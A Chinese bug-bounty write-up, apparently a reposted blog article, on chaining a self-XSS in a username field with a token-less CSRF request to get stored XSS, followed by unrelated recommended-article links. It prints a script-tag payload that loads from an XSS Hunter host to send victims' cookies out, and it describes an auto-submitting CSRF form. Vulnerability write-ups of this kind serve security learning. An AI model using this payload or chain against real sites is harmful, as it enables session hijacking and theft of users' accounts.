通过组合Self-XSS + CSRF得到存储型XSS

在一次漏洞赏金挖掘中,我在更改用户名的功能点出发现了一个XSS,在修改用户名的地方添加了一个简单的XSS payload并且刷新页面:

用户设置面板

XSS证明

但是问题是这个功能配置并不是公共的,造成XSS漏洞的唯一方法是告诉受害者将其名称更改为恶意JavaScript代码,这称为Self-XSS,没有太大影响。

接下来,我使用burpsuite抓取 改变名字这个功能点的数据包:

从数据包来看,没有看到防御csrf的token,这看起来有可利用的点,于是我使用burpsuite 生成了CSRF poc

并在浏览器中重放,而得到的响应是:success

nice!现在我们有了CSRF + Self-XSS,让我们将它们组合在一起,表单如下:

最终POC

在名字字段我添加了JavaScript代码它是从xsshunter.comhttps://xsshunter.com/生成的XSS PoC

复制代码
"><script src=https://***.xss.ht></script>

在最后我添加了JavaScript自动提交表单,使其更有效。

现在,用户名更改为JavaScript代码后,浏览主页的代码将在目标的浏览器中加载,并向XSS hunter平台发送回cookie。

存储XSS

回到XSSHunter,当任何用户打开我们的HTML表单时,平台获取到了目标cookie,由此我们可得到了一个Stored XSS(存储型XSS)。

获取网络安全优质学习资料与干货教程+

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

相关推荐
信也科技布道师8 小时前
从绝对定位到可维护页面:一次 MasterGo 还原链路的实战复盘
前端
程序员黑豆8 小时前
鸿蒙应用开发之V2状态管理:@Local、@ObservedV2、@Trace 使用教程
前端·后端·harmonyos
锻炼²8 小时前
Edge 地址栏搜索被其他浏览器劫持
前端·edge
Slice_cy8 小时前
Mint 自研框架设计与实现:从重复开发走向配置驱动(三)
前端·后端·架构
志栋智能9 小时前
超自动化安全:提升安全服务满意度的隐形引擎
大数据·安全·自动化
JoyT9 小时前
Nuxt 3的核心设计与静态官网应用
前端·javascript·vue.js
程序员黑豆9 小时前
鸿蒙应用开发之@State 装饰器详解:从基本类型到 @Observed/@ObjectLink/@Track 嵌套监听
前端·harmonyos
杉氧9 小时前
Flutter 像素级还原实战:用 CustomPaint 与 Bezier 曲线手绘精致图针
android·前端·flutter
BullSmall9 小时前
SonarQube 完整手册(2026 最新)
安全·开源·sonar
汉堡包00110 小时前
【工具分享】--威胁情报平台大全
学习·安全·web安全·信息安全